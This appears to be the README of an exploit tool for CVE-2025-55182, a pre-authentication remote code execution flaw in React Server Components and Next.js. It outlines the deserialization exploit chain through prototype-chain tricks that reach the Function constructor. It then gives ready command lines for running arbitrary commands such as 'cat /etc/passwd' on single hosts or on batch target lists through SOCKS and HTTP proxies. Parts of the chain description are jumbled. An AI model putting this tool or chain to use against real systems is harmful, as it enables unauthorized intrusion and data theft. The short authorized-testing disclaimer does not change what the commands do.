
React Server Components / Next.js Pre-Authentication Remote Code Execution
| Property | Value |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Type | Pre-Auth RCE |
| Component | Affected Versions |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| Related Packages | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
This vulnerability exploits a deserialization flaw in the React Server Components (RSC) Flight protocol, achieving unauthenticated remote code execution by crafting a malicious multipart/form-data request. The full exploitation chain is as follows:
POST multipart/form-data with a Next-Action header$1:__proto__:then reaches Chunk.prototype.then on the PENDING-state Chunk 1 object, making it thenable$1:constructor:constructor resolves through the prototype chain to the Function constructorChunk.prototype.then calls initializeModelChunk to parse the value field '{"then":"$B0"}'$B0 blob resolution calls _formData.get(_prefix + "0"), i.e. Function(code + "0")pip install requests[socks]
The script will automatically attempt to install
requestsandPySocksif dependencies are missing.
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# HTTP proxy
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# SOCKS5 proxy
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
Batch scan results are written to the output file specified by -o, recording only confirmed vulnerable targets.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# Comment lines are ignored
This tool is intended only for authorized security testing and security research purposes. Users must ensure they have explicit permission from the owner of the target system. Unauthorized penetration testing of systems is illegal; users bear all legal responsibilities.
then property, is treated as thenable and invoked, triggering code execution and achieving RCE| Parameter | Description | Default |
|---|
-u, --url | Single target URL (mutually exclusive with -f) | - |
-f, --file | File containing target URLs, one per line (mutually exclusive with -u) | - |
-c, --command | System command to execute (not required in --check mode) | - |
-o, --output | Output file for results | results.txt |
-t, --threads | Number of concurrent threads | 10 |
-v, --verbose | Show debug output | False |
--proxy | Proxy address, supports HTTP and SOCKS5 | - |
--timeout | Request timeout in seconds | 15 |
--check | Only check for vulnerability, do not execute commands | False |
--verify-ssl | Verify TLS certificate | False |